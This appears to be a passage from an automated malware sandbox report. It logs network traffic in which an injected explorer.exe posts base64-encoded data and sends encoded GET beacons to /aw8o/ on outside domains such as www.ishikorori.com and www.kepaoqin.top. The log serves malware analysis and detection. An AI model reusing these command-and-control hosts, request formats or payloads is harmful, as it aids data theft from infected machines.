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
Aug 29, 2023 22:44:42.202373981 CEST	370	OUT	Data Raw: 76 72 65 32 4c 2b 36 43 45 61 31 30 77 73 5a 64 2b 7a 47 37 6b 4c 33 4a 55 6c 75 49 57 49 65 61 51 54 46 2f 37 59 4b 35 6e 64 4d 66 76 77 72 58 43 34 2f 31 52 52 43 68 65 4e 79 6f 54 34 6b 50 39 56 68 55 75 49 67 48 69 6b 31 4b 57 62 68 49 38 61 Data Ascii: vre2L+6CEa10wsZd+zG7kL3JUluIWIeaQTF/7YK5ndMfvwrXC4/1RRCheNyoT4kP9VhUuIgHik1KWbhI8aIdkserArvr92PQNEgvrPa9aPnszM2JqtnJ+2+gTUsh60cpSx72kWDNuh57V1t4tWeraiRawotla6WUu2Lifd40sStfm8xn4eRGTcp5jJnlnsIXn/Jki5IPBVKgYQUxwnSQlZJkJe3LWYdFk2pdmb+tr2OZKh7HJ9S
Aug 29, 2023 22:44:42.351322889 CEST	375	OUT	Data Raw: 6f 36 71 69 43 36 36 71 63 32 59 51 31 34 77 58 75 4c 62 4f 2f 74 2b 50 69 49 74 45 78 38 41 51 67 73 51 6d 65 56 64 56 57 49 33 6b 6c 41 34 4a 75 66 68 30 64 41 53 52 77 4f 78 53 77 31 46 71 4c 70 54 59 2b 71 61 6d 62 41 75 51 43 49 78 47 75 6f Data Ascii: o6qiC66qc2YQ14wXuLbO/t+PiItEx8AQgsQmeVdVWI3klA4Jufh0dASRwOxSw1FqLpTY+qambAuQCIxGuoXW3hNZVRauoz0Sgu8ShV/4xWouJQgjit3FrNlNeWaCo3zwvePuyRv5WHVJgkRirCjlSamS2K+W6qUWQbD73uj6UTt4X4nzTLmxRx6rkhSeBOEzFWnnQgFh5YqP4F1MiuYD9lx6qf2X4Mz0qGgQaejPbDgs2JkAd5u
Aug 29, 2023 22:44:42.351419926 CEST	378	OUT	Data Raw: 67 2b 55 74 73 34 58 36 4a 6d 5a 78 2f 68 74 6d 62 77 54 51 52 5a 66 31 55 56 31 6b 77 70 43 38 64 45 63 37 4c 58 66 4a 6a 2b 48 62 64 47 76 6c 77 79 64 73 54 58 71 71 67 6a 4b 38 57 56 77 39 49 50 71 6c 35 39 44 56 6b 57 49 2f 6a 30 4d 2f 58 7a Data Ascii: g+Uts4X6JmZx/htmbwTQRZf1UV1kwpC8dEc7LXfJj+HbdGvlwydsTXqqgjK8WVw9IPql59DVkWI/j0M/Xz0Vv95eqNm5Ax97j/qBrZNWRcaMc/V7Vb//ZHBKyq5MkUUZHoChwS3tWlVBahN1EOihFvbBQAEzkN46hQDrzBQQkRK9f6P1COUZxN1U8yQ8TEWd3rZdNCBDSIjQtCjoxbegq9fqCrEbh59YN98y5zPEmRx84qXWxTh
Aug 29, 2023 22:44:42.351686954 CEST	381	OUT	Data Raw: 47 49 48 53 73 68 36 36 67 66 68 5a 56 50 57 45 6a 4e 70 62 33 64 4b 6b 4b 51 66 74 53 46 34 4b 54 76 31 73 79 76 69 5a 46 71 68 57 31 2f 61 30 33 6a 50 72 79 32 47 69 54 34 65 65 59 34 33 2f 31 4f 39 6b 37 5a 30 59 62 43 6c 48 47 59 75 47 77 4d Data Ascii: GIHSsh66gfhZVPWEjNpb3dKkKQftSF4KTv1syviZFqhW1/a03jPry2GiT4eeY43/1O9k7Z0YbClHGYuGwMqijdPEBl3JyI4NixJmX40eaVyCIjLBY0pK4z7ukWUvHetDlSsbtV75jGMjDmH3Gitylx9RaeU52aNfxYwzDbgIZY5f61eWDW92mk967tuoEPD7xrCTFf9ApK/x1rZUO0HazndiMRVwYA6LvPFJegwZrJP7Tg40avI
Aug 29, 2023 22:44:42.351830006 CEST	384	OUT	Data Raw: 4d 30 59 32 54 61 35 38 52 37 6e 73 63 4b 67 31 63 66 65 42 57 6a 5a 4d 58 70 67 39 53 6f 42 68 34 7a 68 41 55 31 6c 49 67 35 37 47 45 53 5a 64 4c 73 62 6e 2b 34 62 61 47 48 70 64 44 4a 75 56 4d 7a 4f 52 41 4b 6c 31 43 53 48 71 43 62 53 59 4f 54 Data Ascii: M0Y2Ta58R7nscKg1cfeBWjZMXpg9SoBh4zhAU1lIg57GESZdLsbn+4baGHpdDJuVMzORAKl1CSHqCbSYOTlbWr1iMhLuwJAkWIrRMs4nl7FaAhLG2ZM9Ns6BiqcdUn2BEX3gwXxymoyZELeP2AIhMD2zJWYD9oMolg2A5M8mNEQZApw89xGhTe1Thb7+kAsVpUaCK5XyHeBgY3O+fJpsL9JtmmhBd1BFGEp1fNvKPEOPe6vXhaD
Aug 29, 2023 22:44:42.351991892 CEST	396	OUT	Data Raw: 77 46 4c 45 6b 64 65 70 79 77 68 6f 34 4d 39 67 72 4c 2f 6f 30 56 62 4c 47 67 52 4e 49 2f 66 61 4f 69 78 2f 6e 6e 33 65 69 75 7a 72 4a 78 33 67 6f 74 5a 70 5a 77 36 71 63 56 52 49 70 62 41 33 4a 6b 2b 65 6d 69 34 67 79 4d 43 47 43 71 74 55 59 61 Data Ascii: wFLEkdepywho4M9grL/o0VbLGgRNI/faOix/nn3eiuzrJx3gotZpZw6qcVRIpbA3Jk+emi4gyMCGCqtUYaHXvaXiqh+TPJaOFJtm1zKyKgzMfBGivUpmJynmAXJgsbG2WCWeenxBi5zB4sOAZMWogzn1E59x5NTD+wiGPYbYpGWiESFumcNsv7WusbHE7/gU/Vs90F09dwvFsVffj8IpMLZzJU4rPMUJlhOEUw/W8Nzz9Z88GT6
Aug 29, 2023 22:44:42.500453949 CEST	399	OUT	Data Raw: 66 79 75 49 63 52 6b 78 67 6e 69 7a 79 66 49 31 6f 65 33 74 4d 52 71 67 36 76 6b 73 63 65 77 69 62 34 36 45 77 4d 64 77 6d 4a 50 46 57 42 4b 50 34 56 57 6c 66 64 34 59 39 6c 31 74 38 66 66 53 63 71 42 6d 55 48 63 77 67 37 44 4b 32 39 31 65 2b 31 Data Ascii: fyuIcRkxgnizyfI1oe3tMRqg6vkscewib46EwMdwmJPFWBKP4VWlfd4Y9l1t8ffScqBmUHcwg7DK291e+1zCpHXEqPzULGQqV1NVsTH39C1z+3tdPmzIx2/uO70VkoWFHNFRNERB9HAXj3vkQEraHm+xoxPpGyWal1HqzeEONMrkJTCa2gpMXdd9RwgOnepqrnFXKQGzPRG2sCiKkE1Xfl3TQ77rSaC+nzDmSDiWdMHmesKxGv7
Aug 29, 2023 22:44:42.500570059 CEST	409	OUT	Data Raw: 51 45 71 4b 35 72 64 73 4f 6b 45 53 69 68 38 43 6f 66 34 50 36 70 70 43 32 38 34 56 68 63 58 72 69 54 30 30 48 42 64 59 55 64 4a 62 53 52 50 6c 68 50 61 48 68 39 4c 6e 6c 57 39 6d 31 64 4a 69 4e 54 36 78 47 31 37 51 63 33 43 5a 35 4e 79 67 62 56 Data Ascii: QEqK5rdsOkESih8Cof4P6ppC284VhcXriT00HBdYUdJbSRPlhPaHh9LnlW9m1dJiNT6xG17Qc3CZ5NygbV6HFQv5YNfZLt4QRvbJc+o+kOMLqS3vbx8Bp5vXpMSUsAEHFCyklxizSE5FSDVK5q6ud9ZWz1OUuJxln1KRJ5bDlMDCjdmm//Q0IDiR8GHM15UZa3dqLYseFVyQ20jIJGK31ae8xWnXno0M2Ail/fycaFlq8AMWogS
Aug 29, 2023 22:44:42.500997066 CEST	411	OUT	Data Raw: 32 71 6b 39 4d 35 4b 4d 42 77 75 73 31 56 45 69 39 56 2b 4d 72 61 73 70 77 31 6b 69 54 70 53 30 59 4a 73 43 42 47 35 4c 6e 54 52 6f 4b 31 31 44 50 51 61 66 6d 74 74 54 51 55 44 53 34 6f 67 67 62 6f 73 61 64 4d 4c 31 4c 35 62 50 54 77 6f 74 2f 4a Data Ascii: 2qk9M5KMBwus1VEi9V+Mraspw1kiTpS0YJsCBG5LnTRoK11DPQafmttTQUDS4oggbosadML1L5bPTwot/JxA5aJYrBMTRR+9IKrbBGkcEA834LrHaWMk29icUD6ibsEk/AiVt+QyFTlhUz3flYiTdMARXs46eZxUVPrJpNRKqxaXn5c3shIxaszi5y25POu0KgkDwj3SMlOWZH7uviWjdrLI55OsLSU/ltb317yztYjQI0WrH0N
Aug 29, 2023 22:44:42.731405973 CEST	413	IN	HTTP/1.1 404 Not Found Connection: close content-type: text/html transfer-encoding: chunked content-encoding: gzip vary: Accept-Encoding date: Tue, 29 Aug 2023 20:44:43 GMT server: LiteSpeed Data Raw: 31 33 34 33 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cc 5a db 72 a3 ca 7a be 5f 4f 41 9c 4a b2 77 31 1e ce 08 79 db 93 00 42 80 24 10 20 81 84 52 a9 55 08 9a 83 38 8a b3 94 ca 03 e5 35 f2 64 29 64 7b 2c cb f6 9a 95 54 2e d2 37 88 fe bb bf ff fc 77 ab 9b df 7e fb ed f1 ef 26 4b 7e 6d 6b 02 14 d6 69 f2 e3 b7 c7 e7 07 04 41 d0 63 08 1c ef c7 6f 97 9f 29 a8 1d 28 ac eb e2 1e 1c 9b a8 7d ba e3 f3 ac 06 59 7d 5f 9f 0a 70 07 b9 cf 6f 4f 77 35 e8 6b 64 80 f8 1b e4 86 4e 59 81 fa a9 a9 fd 7b e6 ee 4b 1c c7 0d c1 fd 30 bf cc 93 2b a0 2c bf 77 07 d2 97 13 b5 d2 09 52 e7 7f 32 43 e8 8b a8 04 d5 d5 14 f4 1d 7a e6 a4 e0 e9 ae 8d 40 57 e4 65 7d 35 ac 8b bc 3a 7c f2 40 1b b9 e0 fe f2 f2 0d 8a b2 a8 8e 9c e4 be 72 9d 04 3c 61 df 7f 42 d5 51 9d 80 1f 24 4a 42 6a 5e 43 d3 bc c9 bc 47 e4 b9 f3 d9 94 55 7d 4a 00 34 d8 ed c5 5c 6e 55 bd c8 31 98 7a 9f 7b 27 e8 df 2f 43 87 d7 a1 f9 79 56 df fb 4e 1a 25 a7 07 88 2d 23 27 f9 06 49 20 69 41 1d b9 ce 37 a8 72 b2 ea be 02 65 e4 ff ed e3 b4 2a 3a 83 07 08 23 8b fe 3d 31 89 32 70 1f 82 28 08 eb 07 08 fb 4e e2 0c 35 c2 48 7c fc 7e d4 de 71 e3 a0 1c 74 b8 77 f3 24 2f 1f a0 bf f7 2f ed fd b0 57 1a 3e 25 70 02 7d 4f 2b 1c cf 8b b2 e0 01 ba e9 4f 9d 32 88 b2 77 dd ff f1 53 fc 0a b8 75 94 67 df 20 3f cf 6b 50 de d8 c3 8b aa 22 71 4e 0f d0 3e c9 dd f8 ff 80 dd f7 21 fe 9c 28 fb c0 e9 59 c8 fb 04 f8 f5 03 e4 34 75 fe 9e d9 0b b9 7c b6 e2 47 fa 9b ee 10 86 5e 7b e0 4d d3 ef 25 a8 8a 3c ab c0 7d 94 f9 f9 8d a2 af 76 e5 2f ed 8d f7 d5 f4 aa 76 ea a6 ba 77 73 0f dc 4c be 44 cd b3 fb 29 14 fd 87 3f 9a 5d 02 a7 ca b3 af e7 e3 d4 f5 fc 21 24 bf 72 c1 95 64 17 9b ba f5 45 af 6f 3f 3d fb fd 99 d7 fd 50 28 6e 18 be 6a 8b 5e da a7 f2 0e b1 34 04 86 93 7c 66 ae ab 68 2d 41 01 9c fa 01 ca f2 fb e7 9f 6f 70 83 f8 57 23 5f b9 e2 63 82 25 d9 f7 c3 5e 69 d3 4b 7b a3 5d 69 79 2b 91 f3 85 52 7f 1e e2 3e aa 41 5a dd c0 fc 8c 24 1c 2d fa 0f a9 14 65 6f a9 3c 26 be 08 b4 6b 7f dc a0 bf c4 f1 3e af eb 3c 7d 80 06 1e 6f ca fe ac 40 2f a5 84 be 26 5e 59 e2 1d fe ad 19 06 77 df 7b c0 cd 4b 67 f0 df 03 d4 64 1e 28 87 22 f4 9e d1 ab c5 49 9c e1 f8 2b 6f 7c c9 e7 21 cc 5b 50 5e c5 d7 7b 31 1e fc dc 6d aa af c9 8e 5b 47 ed 6d e6 bc 0a 81 b3 34 39 a6 df 04 bc 12 e2 eb 28 7e ad 6b 9f 39 ea 2a 25 b1 2f cc d8 24 37 be f9 99 69 51 76 a9 d9 9f d4 bc 24 aa ea fb cb b2 32 04 7c 06 a0 bc a9 ab c8 03 97 97 37 f1 07 47 be 4a 77 53 8c 7f 86 d7 55 ff 9b b6 4d 02 25 d1 8d 58 7e 92 0f f9 35 54 c6 f7 1c 2e 9e 76 92 28 c8 1e 20 17 64 35 28 df e8 6f 90 df 6f f2 e6 25 e8 3f e3 74 59 70 1f 20 ec ab 1a 36 d4 cd fb 28 75 82 5b 37 fe 54 ea cb da 7b 99 3a ec 72 a2 2c b8 d5 6f 58 73 bb 97 f5 71 9f 27 de 9b 16 83 1d af b5 fc 68 83 2e 2f bd fb 7d 09 9c f8 01 ba 3c ee 9d 24 79 0f f0 a7 b4 aa 40 d9 82 12 72 3c af 04 d5 6d 49 f8 5a 84 37 33 7f ba 7c 5e 4f bc f5 d0 75 8c d0 37 a5 e6 03 ec 2f 93 7c 08 c6 37 b5 3f 99 1f a5 b7 76 df e7 a5 07 ca 2f b6 05 df dd bc 38 5d 56 db cf bc f5 52 9f 3e 14 af d7 74 26 a6 24 46 12 9f c9 f3 2f 29 f0 22 07 fa 4b 1a 65 cf fb bb 07 68 44 33 45 ff d7 1b 36 b7 51 7b 43 1e 8c 57 e4 d5 65 85 7a 80 4a 90 38 43 71 79 63 38 d0 87 36 54 2c 3f c9 bb 07 28 8c 3c 0f 64 1f 47 5c ad 4f 97 c8 7e ce eb f7 e3 de cc 39 60 de 8a f6 e9 2a 32 0c fc 99 15 1f ab fc 0d e2 a5 92 7e b2 29 1a 50 5e c2 77 7c bb 2f b8 81 f8 f3 59 7e 05 fa 3e d3 Data Ascii: 1343Zrz_OAJw1yB$ RU85d)d{,T.7w~&K~mkiAco)(}Y}_poOw5kdNY{K0+,wR2Cz@We}5:\|@r<aBQ$JBj^CGU}J4\nU1z{'/CyVN%-#'I iA7re:#=12p(N5H\|~qtw$//W>%p}O+O2wSug ?kP"qN>!(Y4u\|G^{M%<}v/vwsLD)?]!$rdEo?=P(nj^4\|fh-AopW#_c%^iK{]iy+R>AZ$-eo<&k><}o@/&^Yw{Kgd("I+o\|![P^{1m[Gm49(~k9%/$7iQv$2\|7GJwSUM%X~5T.v( d5(oo%?tYp 6(u[7T{:r,oXsq'h./}<$y@r<mIZ73\|^Ou7/\|7?v/8]VR>t&$F/)"KehD3E6Q{CWezJ8Cqyc86T,?(<dG\O~9`*2~)P^w\|/Y~>
Aug 29, 2023 22:44:42.731475115 CEST	414	IN	Data Raw: 07 c2 d0 ae a3 f6 63 c6 fd 79 be 0f 7e 54 56 f5 bd 1b 46 89 f7 99 ff 06 91 87 ed ea 2f cd f3 f5 12 30 88 7b 5d ea 99 eb 15 73 20 de 48 fb 6e c9 7a bf f5 ff 9f 42 7d 59 0c 2f 40 5f d5 ec 1b 79 fe a0 2c 0e 30 af 6b 08 8d 0f 5b 11 08 85 c6 bf 52 f0 Data Ascii: cy~TVF/0{]s HnzB}Y/@_y,0k[Rlc#Wy$fj!fu{U%f>L1-0fgP?)>1>FS&yF gYUWf(:9,_zjS,~tq`?x4B#xAkmk
Aug 29, 2023 22:44:42.731532097 CEST	415	IN	Data Raw: 92 4e 23 6d 2e ad 9d a5 40 91 7d c1 89 65 c2 18 f2 76 be c5 f6 31 01 b3 98 63 86 52 6f d6 80 a8 24 a1 55 57 72 41 1a 82 c7 a9 4b 95 1d ab cb 8d 2d 74 cd 91 22 d9 50 03 3d a1 3a b2 be e8 24 59 d6 13 3d d6 f6 5d 65 4c 0b 2f f5 f6 48 38 61 d6 ab 09 Data Ascii: N#m.@}ev1cRo$UWrAK-t"P=:$Y=]eL/H8ahHn,G5;Aa0j(!K,kc!`]]AzvD}Uiu) i`6'jJAG#aJUqFSJ%+T*2D:
Aug 29, 2023 22:44:42.731586933 CEST	417	IN	Data Raw: a3 46 a5 35 80 74 6c 56 72 fd 32 63 9d 93 bc 5a 6c 62 9d e9 72 6e 7e 32 60 d8 33 d7 55 23 cc e1 05 53 e0 dc 84 f4 45 af f2 8f 61 2f ea 6b 7d 97 34 92 b9 d8 96 46 65 4e 7d 4e 40 97 c1 59 4e 4a c7 60 da b8 a3 8f d9 36 6d 26 ab 29 63 04 2b a6 0e 61 Data Ascii: F5tlVr2cZlbrn~2`3U#SEa/k}4FeN}N@YNJ`6m&)c+a.B7b3;Hqc<"crWg`""xSEd,h[X{/6C]s:{&nmLxlZN8d^d@a6fPw`0dbN! eO0UVFf*S
Aug 29, 2023 22:44:42.731628895 CEST	417	IN	Data Raw: 61 0d 0a 03 00 db b8 5b 6c 84 27 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: a[l'0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
50	192.168.11.20	50040	157.7.107.119	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:18.798394918 CEST	2093	OUT	GET /aw8o/?5Nag0d=TR7PSkD0vDwdj3CeOnoWOoBm+B4Hw+Qf0rNh3SXQ1w792IIo5+7J+9OXKAft2cnLXHeiUPcsWfovdl8p2mX3E4p2KB72Rl4JMA==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.ishikorori.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:49:19.076994896 CEST	2093	IN	HTTP/1.1 301 Moved Permanently Date: Tue, 29 Aug 2023 20:49:18 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: close Server: LiteSpeed x-powered-by: PHP/8.2.9 expires: Wed, 11 Jan 1984 05:00:00 GMT cache-control: no-cache, must-revalidate, max-age=0 x-redirect-by: WordPress location: http://ishikorori.com/aw8o/?5Nag0d=TR7PSkD0vDwdj3CeOnoWOoBm+B4Hw+Qf0rNh3SXQ1w792IIo5+7J+9OXKAft2cnLXHeiUPcsWfovdl8p2mX3E4p2KB72Rl4JMA==&OxdTJ=brp0GrP84QCc x-litespeed-cache: miss x-turbo-charged-by: LiteSpeed X-Cache: MISS

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
51	192.168.11.20	50041	107.148.17.67	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2023 22:49:27.290653944 CEST	2094	OUT	GET /aw8o/?5Nag0d=UdSYgafQlh0t2NPJFWsJTuyq7bpxDbJ0k4ok7GV9MtKriqrdB2GNDlXOyj3801N/gTxArORLFOT1XOkGkvvmtP3cZGRd+UEGYg==&OxdTJ=brp0GrP84QCc HTTP/1.1 Host: www.kepaoqin.top Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US,en;q=0.9 Connection: close User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; TNJB; rv:11.0) like Gecko
Aug 29, 2023 22:49:27.525423050 CEST	2095	IN	HTTP/1.1 200 OK Date: Tue, 29 Aug 2023 20:49:27 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 1706 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e e6 97 a0 e6 b3 95 e6 89 be e5 88 b0 e8 af a5 e9 a1 b5 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 47 42 32 33 31 32 22 3e 0d 0a 3c 53 54 59 4c 45 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 20 20 42 4f 44 59 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0d 0a 20 20 48 31 20 7b 20 66 6f 6e 74 3a 20 31 32 70 74 2f 31 35 70 74 20 e5 ae 8b e4 bd 93 20 7d 0d 0a 20 20 48 32 20 7b 20 66 6f 6e 74 3a 20 39 70 74 2f 31 32 70 74 20 e5 ae 8b e4 bd 93 20 7d 0d 0a 20 20 41 3a 6c 69 6e 6b 20 7b 20 63 6f 6c 6f 72 3a 20 72 65 64 20 7d 0d 0a 20 20 41 3a 76 69 73 69 74 65 64 20 7b 20 63 6f 6c 6f 72 3a 20 6d 61 72 6f 6f 6e 20 7d 0d 0a 3c 2f 53 54 59 4c 45 3e 0d 0a 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 0d 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 6a 73 2e 75 73 65 72 73 2e 35 31 2e 6c 61 2f 32 31 37 37 34 32 33 39 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 61 73 79 6e 63 20 73 72 63 3d 22 2f 2f 6a 73 2e 75 73 65 72 73 2e 35 31 2e 6c 61 2f 32 31 37 37 34 32 35 31 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 20 0d 0a 3c 54 41 42 4c 45 20 77 69 64 74 68 3d 35 30 30 20 62 6f 72 64 65 72 3d 30 20 63 65 6c 6c 73 70 61 63 69 6e 67 3d 31 30 3e 3c 54 52 3e 3c 54 44 3e 0d 0a 3c 68 31 3e e6 97 a0 e6 b3 95 e6 89 be e5 88 b0 e8 af a5 e9 a1 b5 3c 2f 68 31 3e 0d 0a e6 82 a8 e6 ad a3 e5 9c a8 e6 90 9c e7 b4 a2 e7 9a 84 e9 a1 b5 e9 9d a2 e5 8f af e8 83 bd e5 b7 b2 e7 bb 8f e5 88 a0 e9 99 a4 e3 80 81 e6 9b b4 e5 90 8d e6 88 96 e6 9a 82 e6 97 b6 e4 b8 8d e5 8f af e7 94 a8 e3 80 82 0d 0a 3c 68 72 3e 0d 0a 3c 70 3e e8 af b7 e5 b0 9d e8 af 95 e4 bb a5 e4 b8 8b e6 93 8d e4 bd 9c ef bc 9a 3c 2f 70 3e 0d 0a 3c 75 6c 3e 0d 0a 3c 6c 69 3e e7 a1 ae e4 bf 9d e6 b5 8f e8 a7 88 e5 99 a8 e7 9a 84 e5 9c b0 e5 9d 80 e6 a0 8f e4 b8 ad e6 98 be e7 a4 ba e7 9a 84 e7 bd 91 e7 ab 99 e5 9c b0 e5 9d 80 e7 9a 84 e6 8b bc e5 86 99 e5 92 8c e6 a0 bc e5 bc 8f e6 ad a3 e7 a1 ae e6 97 a0 e8 af af e3 80 82 3c 2f 6c 69 3e 0d 0a 3c 6c 69 3e e5 a6 82 e6 9e 9c e9 80 9a e8 bf 87 